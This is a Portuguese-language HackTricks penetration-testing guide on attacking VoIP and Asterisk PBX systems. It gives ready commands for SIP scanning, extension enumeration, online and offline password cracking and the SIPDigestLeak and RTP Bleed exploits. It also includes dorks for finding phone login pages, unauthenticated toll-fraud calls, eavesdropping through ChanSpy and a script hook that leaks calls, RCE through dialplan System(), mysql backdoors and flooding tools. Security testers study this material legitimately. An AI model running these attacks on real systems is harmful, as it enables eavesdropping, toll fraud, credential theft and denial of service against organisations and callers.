37 KiB
Teste de penetração VoIP
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas sobre VoIP
Para começar a aprender como o VoIP funciona, verifique:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Mensagens Básicas
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Códigos de Resposta
1xx—Respostas Provisórias
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—Respostas bem-sucedidas
200 OK
202 Accepted
204 No Notification
3xx—Respostas de Redirecionamento
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—Respostas de Falha do Cliente
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
Respostas de Falha do Servidor 5xx
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—Respostas de Falha Global
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
Enumeração VoIP
Números de Telefone
Um dos primeiros passos que uma Equipe Vermelha poderia fazer é pesquisar números de telefone disponíveis para entrar em contato com a empresa usando ferramentas OSINT, Pesquisas no Google ou raspando as páginas da web.
Depois de obter os números de telefone, você pode usar serviços online para identificar o operador:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Saber se o operador fornece serviços VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar sua própria PBX VoIP à rede telefônica tradicional.
Coisas como respostas automáticas de música geralmente indicam que o VoIP está sendo usado.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
Informações de OSINT
Qualquer outra enumeração de OSINT que ajude a identificar o software VoIP sendo usado será útil para uma Equipe Vermelha.
Enumeração de Rede
nmap
é capaz de escanear serviços UDP, mas devido ao número de serviços UDP sendo escaneados, é muito lento e pode não ser muito preciso com esse tipo de serviços.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
do SIPVicious (sudo apt install sipvicious
): Irá localizar os serviços SIP na rede indicada.svmap
é fácil de bloquear porque utiliza o User-Agentfriendly-scanner
, mas você pode modificar o código em/usr/share/sipvicious/sipvicious
e alterá-lo.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
do sippts: O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Enumeração de Rede Adicional
O PBX também pode estar expondo outros serviços de rede, como:
- 69/UDP (TFTP): Atualizações de firmware
- 80 (HTTP) / 443 (HTTPS): Para gerenciar o dispositivo pela web
- 389 (LDAP): Alternativa para armazenar informações dos usuários
- 3306 (MySQL): Banco de dados MySQL
- 5038 (Manager): Permite usar o Asterisk em outras plataformas
- 5222 (XMPP): Mensagens usando Jabber
- 5432 (PostgreSQL): Banco de dados PostgreSQL
- E outros...
Enumeração de Métodos
É possível descobrir quais métodos estão disponíveis para uso no PBX usando SIPPTS enumerate
do sippts
sippts enumerate -i 10.10.0.10
Análise das respostas do servidor
É muito importante analisar os cabeçalhos que um servidor nos envia de volta, dependendo do tipo de mensagem e cabeçalhos que enviamos. Com SIPPTS send
do sippts podemos enviar mensagens personalizadas, manipulando todos os cabeçalhos, e analisar a resposta.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
Também é possível obter dados se o servidor usar websockets. Com SIPPTS wssend
do sippts podemos enviar mensagens WS personalizadas.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Enumeração de Extensões
As extensões em um sistema PBX (Private Branch Exchange) referem-se aos identificadores internos únicos atribuídos a linhas telefônicas individuais, dispositivos ou usuários dentro de uma organização ou empresa. As extensões tornam possível encaminhar chamadas dentro da organização de forma eficiente, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
svwar
do SIPVicious (sudo apt install sipvicious
):svwar
é um scanner de linhas de extensão SIP PBX gratuito. Em conceito, ele funciona de forma semelhante aos wardialers tradicionais, adivinhando uma faixa de extensões ou uma lista de extensões fornecida.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
do sippts: SIPPTS exten identifica extensões em um servidor SIP. Sipexten pode verificar grandes intervalos de rede e portas.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: Você também pode enumerar extensões/nomes de usuário com o metasploit:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX é um enumerador de força bruta de nomes de usuário do protocolo Inter Asterisk Exchange. enumIAX pode operar em dois modos distintos; Adivinhação Sequencial de Nomes de Usuário ou Ataque de Dicionário.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
Ataques VoIP
Força Bruta de Senha - online
Após descobrir o PBX e alguns ramais/nomes de usuário, uma Equipe Vermelha poderia tentar autenticar via método REGISTER
em um ramal usando um dicionário de senhas comuns para forçar a autenticação.
{% hint style="danger" %} Note que um nome de usuário pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e das preferências da organização...
Se o nome de usuário não for o mesmo que o ramal, será necessário descobrir o nome de usuário para forçar a senha. {% endhint %}
svcrack
do SIPVicious (sudo apt install sipvicious
): SVCrack permite que você quebre a senha para um nome de usuário/ramal específico em um PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
do sippts: O SIPPTS rcrack é um quebrador remoto de senhas para serviços SIP. O Rcrack pode testar senhas para vários usuários em diferentes IPs e faixas de portas.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
Intercepção de VoIP
Se encontrar equipamentos VoIP dentro de uma rede Wifi aberta, você pode interceptar todas as informações. Além disso, se estiver dentro de uma rede mais fechada (conectado via Ethernet ou Wifi protegido), você pode realizar ataques de MitM como ARPspoofing entre o PBX e o gateway para interceptar as informações.
Entre as informações de rede, você pode encontrar credenciais web para gerenciar o equipamento, extensões de usuário, nome de usuário, endereços IP, até mesmo senhas hash e pacotes RTP que você pode reproduzir para ouvir a conversa, e mais.
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma ferramenta especialmente criada para interceptar conversas VoIP é ucsniff.
{% hint style="danger" %}
Observe que se TLS for usado na comunicação SIP, você não poderá ver a comunicação SIP em texto claro.
O mesmo acontecerá se SRTP e ZRTP forem usados, os pacotes RTP não estarão em texto claro.
{% endhint %}
Credenciais SIP (Brute-Force de Senha - offline)
Verifique este exemplo para entender melhor uma comunicação de registro SIP para aprender como as credenciais são enviadas.
sipdump
&sipcrack
, parte do sipcrack (apt-get install sipcrack
): Essas ferramentas podem extrair de um pcap as autenticações digest dentro do protocolo SIP e realizar brute force nelas.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
do sippts: O SIPPTS dump pode extrair autenticações digest de um arquivo pcap.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
do sippts: O SIPPTS dcrack é uma ferramenta para quebrar as autenticações de digest obtidas com o dump do SIPPTS.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
de sippts: O SIPPTS tshark extrai dados do protocolo SIP de um arquivo PCAP.
sippts tshark -f capture.pcap [-filter auth]
Códigos DTMF
Não apenas as credenciais SIP podem ser encontradas no tráfego de rede, também é possível encontrar códigos DTMF que são usados, por exemplo, para acessar a caixa postal.
É possível enviar esses códigos em mensagens INFO SIP, em áudio ou dentro de pacotes RTP. Se os códigos estiverem dentro de pacotes RTP, você pode cortar essa parte da conversa e usar a ferramenta multimo para extraí-los:
multimon -a DTMF -t wac pin.wav
Chamadas Gratuitas / Configurações Incorretas de Conexões do Asterisk
No Asterisk é possível permitir uma conexão de um endereço IP específico ou de qualquer endereço IP:
host=10.10.10.10
host=dynamic
Se um endereço IP for especificado, o host não precisará enviar solicitações REGISTER de tempos em tempos (no pacote REGISTER é enviado o tempo de vida, geralmente 30min, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30 minutos). No entanto, será necessário ter portas abertas permitindo conexões do servidor VoIP para receber chamadas.
Para definir usuários, eles podem ser definidos como:
type=user
: O usuário só pode receber chamadas como usuário.type=friend
: É possível realizar chamadas como peer e recebê-las como usuário (usado com ramais)type=peer
: É possível enviar e receber chamadas como peer (trunks SIP)
Também é possível estabelecer confiança com a variável insegura:
insecure=port
: Permite conexões de peer validadas por IP.insecure=invite
: Não requer autenticação para mensagens INVITEinsecure=port,invite
: Ambos
{% hint style="warning" %}
Quando type=friend
é usado, o valor da variável host não será usado, então se um administrador configurar erroneamente um SIP-trunk usando esse valor, qualquer um poderá se conectar a ele.
Por exemplo, essa configuração seria vulnerável:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Chamadas Gratuitas / Má Configuração de Contexto do Asterisk
No Asterisk, um contexto é um contêiner ou seção nomeada no plano de discagem que agrupa ramais, ações e regras relacionadas. O plano de discagem é o componente central de um sistema Asterisk, pois define como as chamadas de entrada e saída são tratadas e roteadas. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
Cada contexto é definido no arquivo de configuração, geralmente no arquivo extensions.conf
. Os contextos são indicados por colchetes, com o nome do contexto dentro deles. Por exemplo:
csharpCopy code[my_context]
Dentro do contexto, você define extensões (padrões de números discados) e as associa a uma série de ações ou aplicativos. Essas ações determinam como a chamada é processada. Por exemplo:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Este exemplo demonstra um contexto simples chamado "meu_contexto" com uma extensão "100". Quando alguém disca 100, a chamada será atendida, uma mensagem de boas-vindas será reproduzida e, em seguida, a chamada será encerrada.
Este é outro contexto que permite ligar para qualquer outro número:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Se o administrador definir o contexto padrão como:
[default]
include => my_context
include => external
{% hint style="warning" %} Qualquer pessoa poderá usar o servidor para ligar para qualquer outro número (e o administrador do servidor pagará pela ligação). {% endhint %}
{% hint style="danger" %}
Além disso, por padrão, o arquivo sip.conf
contém allowguest=true
, então qualquer atacante sem autenticação poderá ligar para qualquer outro número.
{% endhint %}
SIPPTS invite
do sippts: O convite SIPPTS verifica se um servidor PBX nos permite fazer chamadas sem autenticação. Se o servidor SIP tiver uma configuração incorreta, permitirá que façamos chamadas para números externos. Também pode permitir que transfiramos a chamada para um segundo número externo.
Por exemplo, se o seu servidor Asterisk tiver uma má configuração de contexto, poderá aceitar solicitações de convite sem autorização. Nesse caso, um atacante pode fazer chamadas sem saber nenhum usuário/senha.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Chamadas gratuitas / IVRS mal configurados
IVRS significa Sistema de Resposta de Voz Interativa, uma tecnologia de telefonia que permite aos usuários interagir com um sistema computadorizado por meio de voz ou teclas de toque. O IVRS é usado para construir sistemas de manuseio de chamadas automatizadas que oferecem uma variedade de funcionalidades, como fornecer informações, encaminhar chamadas e capturar a entrada do usuário.
O IVRS em sistemas VoIP geralmente consiste em:
- Prompts de voz: Mensagens de áudio pré-gravadas que guiam os usuários pelas opções de menu do IVR e instruções.
- Sinalização DTMF (Dual-Tone Multi-Frequency): Entradas de teclas de toque geradas pressionando teclas no telefone, que são usadas para navegar pelos menus do IVR e fornecer entrada.
- Roteamento de chamadas: Direcionar chamadas para o destino apropriado, como departamentos específicos, agentes ou ramais com base na entrada do usuário.
- Captura de entrada do usuário: Coletar informações dos chamadores, como números de conta, IDs de caso ou quaisquer outros dados relevantes.
- Integração com sistemas externos: Conectar o sistema IVR a bancos de dados ou outros sistemas de software para acessar ou atualizar informações, realizar ações ou disparar eventos.
Em um sistema VoIP Asterisk, você pode criar um IVR usando o plano de discagem (arquivo extensions.conf
) e vários aplicativos como Background()
, Playback()
, Read()
, e mais. Esses aplicativos ajudam a reproduzir prompts de voz, capturar a entrada do usuário e controlar o fluxo da chamada.
Exemplo de configuração vulnerável
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
O exemplo anterior é um caso em que o usuário é solicitado a pressionar 1 para ligar para um departamento, 2 para ligar para outro, ou a extensão completa se ele a souber.
A vulnerabilidade está no fato de que o comprimento da extensão indicada não é verificado, então um usuário poderia inserir um número completo durante o timeout de 5 segundos e ele será chamado.
Injeção de Extensão
Usando uma extensão como:
exten => _X.,1,Dial(SIP/${EXTEN})
Onde ${EXTEN}
é a extensão que será chamada, quando a ext 101 for introduzida é isso que aconteceria:
exten => 101,1,Dial(SIP/101)
No entanto, se ${EXTEN}
permitir introduzir mais do que números (como em versões mais antigas do Asterisk), um atacante poderia introduzir 101&SIP123123123
para ligar para o número de telefone 123123123. E este seria o resultado:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Portanto, uma chamada para a extensão 101
e 123123123
será enviada e apenas o primeiro a receber a chamada será estabelecido... mas se um atacante usar uma extensão que contorna qualquer correspondência que está sendo realizada mas não existe, ele poderia injetar uma chamada apenas para o número desejado.
Vulnerabilidade SIPDigestLeak
O vazamento de Digest SIP é uma vulnerabilidade que afeta um grande número de telefones SIP, incluindo telefones IP de hardware e software, bem como adaptadores de telefone (VoIP para analógico). A vulnerabilidade permite o vazamento da resposta de autenticação Digest, que é calculada a partir da senha. Um ataque de senha offline é então possível e pode recuperar a maioria das senhas com base na resposta do desafio.
**Cenário de vulnerabilidade a partir daqui**:
- Um telefone IP (vítima) está ouvindo em qualquer porta (por exemplo: 5060), aceitando chamadas telefônicas
- O atacante envia um convite para o telefone IP
- O telefone da vítima começa a tocar e alguém atende e desliga (porque ninguém atende o telefone do outro lado)
- Quando o telefone é desligado, o telefone da vítima envia um BYE para o atacante
- O atacante emite uma resposta 407 que solicita autenticação e emite um desafio de autenticação
- O telefone da vítima fornece uma resposta ao desafio de autenticação em um segundo BYE
- O atacante pode então realizar um ataque de força bruta na resposta do desafio em sua máquina local (ou rede distribuída etc) e adivinhar a senha
- Vazamento SIPPTS de sippts: O vazamento SIPPTS explora a vulnerabilidade de vazamento de Digest SIP que afeta um grande número de telefones SIP. A saída pode ser salva no formato SipCrack para forçar a quebra usando o dcrack do SIPPTS ou a ferramenta SipCrack.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call permite a um usuário da web (que por exemplo pode estar interessado em um produto) introduzir seu número de telefone para ser chamado. Em seguida, uma chamada comercial será feita, e quando ele atender o telefone, o usuário será chamado e conectado com o agente.
Um perfil comum do Asterisk para isso é:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- O perfil anterior está permitindo que QUALQUER endereço IP se conecte (se a senha for conhecida).
- Para iniciar uma chamada, como especificado anteriormente, permissões de leitura não são necessárias e apenas originate em write é necessário.
Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair informações em excesso, como:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Mais informações ou ações podem ser solicitadas.
Interceptação
No Asterisk, é possível usar o comando ChanSpy
indicando a extensão(ões) a serem monitoradas (ou todas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão.
Por exemplo, exten => 333,1,ChanSpy('all',qb)
indica que se você ligar para a extensão 333, ela irá monitorar todas
as extensões, começar a ouvir sempre que uma nova conversa começar (b
) em modo silencioso (q
) pois não queremos interagir. Você pode ir de uma conversa para outra pressionando *
, ou marcando o número da extensão.
Também é possível usar o ExtenSpy
para monitorar apenas uma extensão.
Em vez de ouvir as conversas, é possível gravá-las em arquivos usando uma extensão como:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
As chamadas serão salvas em /tmp
.
Você também pode fazer o Asterisk executar um script que vazará a chamada quando for encerrada.
exten => h,1,System(/tmp/leak_conv.sh &)
Vulnerabilidade RTCPBleed
RTCPBleed é um problema de segurança importante que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o tráfego RTP (Protocolo de Tempo Real), que transporta conversas VoIP, seja interceptado e redirecionado por qualquer pessoa na Internet. Isso ocorre porque o tráfego RTP contorna a autenticação ao passar por firewalls NAT (Tradução de Endereços de Rede).
Os proxies RTP tentam resolver as limitações do NAT que afetam os sistemas RTC ao intermediar fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software de proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP obtidas por meio de sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo em que tal tupla de IP e porta é aprendida automaticamente. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", não utiliza nenhum tipo de autenticação. Portanto, atacantes podem enviar tráfego RTP para o proxy RTP e receber o tráfego RTP intermediado destinado ao chamador ou receptor de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que os atacantes recebam fluxos de mídia RTP destinados a usuários legítimos.
Outro comportamento interessante de proxies RTP e pilhas RTP é que, às vezes, mesmo que não sejam vulneráveis ao RTP Bleed, eles irão aceitar, encaminhar e/ou processar pacotes RTP de qualquer origem. Portanto, os atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em pontos finais.
Tradicionalmente, o Asterisk e o FreePBX têm usado a configuração NAT=yes
, que permite que o tráfego RTP contorne a autenticação, potencialmente resultando em ausência de áudio ou áudio unidirecional em chamadas.
Para mais informações, acesse https://www.rtpbleed.com/
SIPPTS rtpbleed
do sippts: SIPPTS rtpbleed detecta a vulnerabilidade RTP Bleed enviando fluxos RTP.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
de sippts: O SIPPTS rtcpbleed detecta a vulnerabilidade RTP Bleed enviando fluxos RTCP.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
de sippts: O SIPPTS rtpbleedflood explora a vulnerabilidade RTP Bleed enviando fluxos RTP.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
de sippts: O exploit SIPPTS rtpbleedinject explora a vulnerabilidade RTP Bleed injetando um arquivo de áudio (formato WAV).
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
No Asterisk, se você de alguma forma conseguir adicionar regras de extensão e recarregá-las (por exemplo, comprometendo um servidor de gerenciamento web vulnerável), é possível obter RCE usando o comando System
.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Existe um comando chamado Shell
que pode ser usado em vez de System
para executar comandos do sistema, se necessário.
{% hint style="warning" %}
Se o servidor estiver impedindo o uso de certos caracteres no comando System
(como no Elastix), verifique se o servidor web permite criar arquivos de alguma forma dentro do sistema (como no Elastix ou trixbox) e use isso para criar um script de backdoor e então use System
para executar esse script.
{% endhint %}
Arquivos locais interessantes e permissões
sip.conf
-> Contém a senha dos usuários SIP.- Se o servidor Asterisk estiver sendo executado como root, você poderia comprometer o root.
- O usuário root do mysql pode não ter senha.
- Isso poderia ser usado para criar um novo usuário mysql como backdoor.
FreePBX
amportal.conf
-> Contém a senha do administrador do painel web (FreePBX).FreePBX.conf
-> Contém a senha do usuário FreePBXuser usado para acessar o banco de dados.- Isso poderia ser usado para criar um novo usuário mysql como backdoor.
Elastix
Elastix.conf
-> Contém várias senhas em texto claro, como a senha root do mysql, senha IMAPd, senha do administrador web.- Várias pastas pertencerão ao usuário Asterisk comprometido (se não estiver sendo executado como root). Esse usuário pode ler os arquivos anteriores e também controla a configuração, então ele poderia fazer o Asterisk carregar outros binários com backdoor quando executados.
Injeção de RTP
É possível inserir um .wav
em conversas usando ferramentas como rtpinsertsound
(sudo apt install rtpinsertsound
) e rtpmixsound
(sudo apt install rtpmixsound
).
Ou você pode usar os scripts de http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ para escanear conversas (rtpscan.pl
), enviar um .wav
para uma conversa (rtpsend.pl
) e inserir ruído em uma conversa (rtpflood.pl
).
DoS
Existem várias maneiras de tentar realizar DoS em servidores VoIP.
SIPPTS flood
de sippts**: SIPPTS flood envia mensagens ilimitadas para o alvo.sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
de sippts**: SIPPTS ping faz um ping SIP para ver o tempo de resposta do servidor.sippts ping -i 10.10.0.10
- IAXFlooder: DoS no protocolo IAX usado pelo Asterisk.
- inviteflood: Uma ferramenta para realizar inundação de mensagens SIP/SDP INVITE sobre UDP/IP.
- rtpflood: Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (fareje primeiro).
- SIPp: Permite analisar e gerar tráfego SIP, então pode ser usado para DoS também.
- SIPsak: Canivete suíço SIP. Também pode ser usado para realizar ataques SIP.
- Fuzzers: protos-sip, voiper.
Vulnerabilidades do SO
A maneira mais fácil de instalar um software como o Asterisk é baixar uma distribuição do SO que já o tenha instalado, como: FreePBX, Elastix, Trixbox... O problema com esses é que uma vez que esteja funcionando, os sysadmins podem não atualizá-los novamente e vulnerabilidades serão descobertas com o tempo.
Referências
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.